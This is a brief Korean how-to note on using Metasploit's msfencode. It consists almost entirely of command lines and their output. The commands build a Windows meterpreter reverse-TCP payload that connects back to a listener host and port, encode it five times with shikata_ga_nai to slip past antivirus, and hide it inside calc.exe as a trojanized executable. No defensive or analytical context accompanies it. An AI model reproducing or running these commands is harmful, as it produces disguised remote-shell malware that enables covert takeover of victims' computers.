msf encode 사용법

C:\Program Files\Rapid7\framework\msf3>ruby msfpayload windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=333 R | ruby msfencode -k -t exe -x calc.exe -k -o c:\test.exe -e x86/shikata_ga_nai -c 5
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)

[*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)

 

ruby msfpayload windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=333 R | ruby msfencode -t exe -o c:\test.exe -e x86/shikata_ga_nai -c 5